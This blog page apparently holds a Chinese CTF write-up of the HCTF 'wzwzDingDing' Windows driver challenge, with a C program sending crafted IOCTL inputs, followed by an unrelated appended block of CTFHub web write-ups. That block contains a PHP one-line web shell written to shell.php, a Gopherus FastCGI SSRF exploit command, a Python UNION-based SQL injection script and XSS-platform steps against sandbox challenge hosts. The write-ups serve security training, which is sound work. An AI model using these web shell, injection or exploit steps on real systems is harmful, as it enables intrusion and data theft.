HCTF wzwzDingDing writeup

本文详细解析了一道HCTF驱动题目的实现逻辑,包括驱动的功能分析、环3程序的编写及驱动崩溃的原因,揭示了补字节平衡堆栈的重要性,同时解答了关于字节传递至内核的疑惑。


CTF以前也没怎么参加过,参加也是抱大腿,这次师弟拉着我玩HCTF,就分析了一下里面wzwzDingDing 这个题目。

这个题目是一个64位的驱动,在ida里分析了一下。

首先找到正常的驱动分发函数里,看看这个驱动都完成什么功能。下面是驱动分发函数中,比较iocontrol code的地方。


然后进入每个处理分支,观察一下都做了什么。发现每个分支都有一个特点,满足相应的条件判断,就会将全局变量dword_148E0某位置为F。

比如: 88102004这个分支,当从ring3输入字符串为"^lejAJ]O"  "MNIII" 时,会分别置dword_148E0第六位 第五位为F,两次在ring3调用DeviceIoControlcode即可。

后面的分支每次按条件要求,依次在ring3调用DeviceIoControlcode, 让驱动走完每个iocontrol code的处理分支。

注意:8810200c的分支是判断ring3的映像文件名是否含有HCTF这几个字符。

           流程还需要走一个其它分支,这里就选择了0x88102014,就是jmp loc12788,这个分支会给第一位置F

 

接着写个ring3的程序,跑一下看看什么情况

<span style="font-size:14px;">  HANDLE hDev = CreateFile("\\\\.\\Hctf",GENERIC_READ |GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,OPEN_EXISTING ,0, NULL);
  DWORD code=0;
  DWORD dwShellcodeSize=0x104;
  char InBuf[] = "^lejAJ]O";
  char mniii[]="MNIII";
  char ret[]="\xc3\xc3\xc3\xc3\xc3\xc3\xc3\xc3\xc3\xc3\xc3\xc3\xc3\xc3\xc3\xc3";
  char OutBuf[0x100]={0};
  DWORD dwRetBytes  = 0;
  char OutBuf2[0x100]={0};

  DeviceIoControl(hDev, 0x88102004,InBuf, 0x9, OutBuf, 0x100, &dwRetBytes, 0);
  DeviceIoControl(hDev, 0x88102004,mniii, 0x6, OutBuf, 0x100, &dwRetBytes, 0);
  DeviceIoControl(hDev, 0x88102008,ret, 16, OutBuf, 0x100, &dwRetBytes, 0);
  DeviceIoControl(hDev, 0x8810200c,ret, 16, OutBuf, 0x100, &dwRetBytes, 0);
  DeviceIoControl(hDev, 0x8810200c,ret, 16, OutBuf, 0x100, &dwRetBytes, 0);
  DeviceIoControl(hDev, 0x88102014,ret, 16, OutBuf, 0x100, &dwRetBytes, 0);
  DeviceIoControl(hDev, 0x88102010,ret, 16, OutBuf2, 0x100, &dwRetBytes, 0);

  CloseHandle(hDev);</span>


发现驱动直接crash在下面这个call里,调用到栈上的一个地址

到这就太想吐槽了,crash在这后,发现里面有一部分代码,还有类似循环的代码,还以为要怎么补成一个计算flag的算法,尼玛最后知道就是补成栈平衡就行,真是没做过ctf啊,太天真了。。


这题还有一个一直疑惑的问题,就是补的字节怎么从用户态传到内核,驱动知识太匮乏了。。因为看到在调用[rsp+0xC8+P]之前,有一部分代码,是往shellcode的位置写9个字节。推想应该是从ring3传进来的,然后在驱动里补齐。如下图所示这段代码:


补什么就不写了,平衡堆栈就行了,flag就是补的字节,有点坑。

前面也看到了对mdl的操作,貌似也没有映射用户态的内存。也应该不是从ring3的输入缓冲传进来的。 谁知道怎么搞,求指导,纠结~~~












以下是部分 CTFHub web 基础教程的 writeup: - **信息泄漏**: ```bash # 安装 dirsearch 包 sudo apt-get install dirsearch # 目录扫描,-u 用于指定要扫描的 URL sudo dirsearch -u "http://challenge-74ace4f302db1181.sandbox.ctfhub.com:10800/" # 进入相关目录 ls cd site ls cd challenge-74ace4f302db1181.sandbox.ctfhub.com:10800/ ls # 扫描程序获取当前 Git 仓库的提交历史信息 git log # 在 Git 中配置一个名为 safe.directory 的全局设置,指定安全目录 git config --global --add safe.directory /home/kali/Desktop/GitHack/site/challenge-74ace4f302db1181.sandbox.ctfhub.com:10800 ls git log ``` - **SSRF 通关攻略之 FastCGI 协议**: ```bash # 在 kali 里下载 gopherus 工具并解压 git clone https://github.com/tarunkant/Gopherus.git # 在文件里打开终端,执行命令 python2 gopherus.py --exploit fastcgi ``` 判断文件是否存在,通过访问不同文件观察返回信息: ```bash # 尝试访问首页文件 访问首页文件 index.php # 访问不存在的文件 输入 wjf.php 显示 404,说明 index.php 存在 ``` 注入木马及编码操作: ```bash # 一句话木马 <?php @eval($_POST['cmd']);?> # base64 编码 PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4= # 解码并保存为 shell.php echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" | base64 -d > shell.php ``` 连接木马: ```bash # 打开蚁剑,右键添加数据,添加木马文件 http://challenge-641b288f17028a60.sandbox.ctfhub.com:10800/wjf123.php ``` - **SQL 注入**: ```python import requests def mySQL(payload): url = 'http://challenge-196392c6b0acebd8.sandbox.ctfhub.com:10800/' header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36", "Cookie": "id=-1 " + payload + "; hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F", } r = requests.get(url, headers=header) return r.text print(mySQL("union select 1,group_concat(schema_name)from information_schema.schemata")) print(mySQL("union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'")) print(mySQL("union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='srdnlrlphq'")) print(mySQL("union select 1,group_concat(icehhmfjxt) from sqli.srdnlrlphq")) ``` - **XSS**:分析完后利用前面的 XSS 网站生成 XSS 攻击代码。注册完进入页面,点击“我的项目”后面的“创建”,选择默认配置,拉到最下面点击“下一步”,将生成的代码拼接到原题目网址后面的 `?name=` 后面,再输入到第二个框内,点击“send”。成功后回到 XSS 网站点击项目内容查看记录[^3]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值